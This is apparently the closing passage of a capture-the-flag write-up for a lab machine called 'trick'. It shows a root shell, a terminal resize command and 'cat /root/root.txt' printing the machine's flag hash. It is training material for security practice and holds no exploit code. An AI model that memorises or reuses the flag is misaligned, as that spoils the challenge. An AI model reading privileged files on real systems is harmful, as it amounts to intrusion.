root@trick:/# stty rows 50 columns 158
Now we are root
and thus, we have root.txt
flag:
root@trick:/# cat /root/root.txt
2fe2e985794dd7cb023636997cefebeb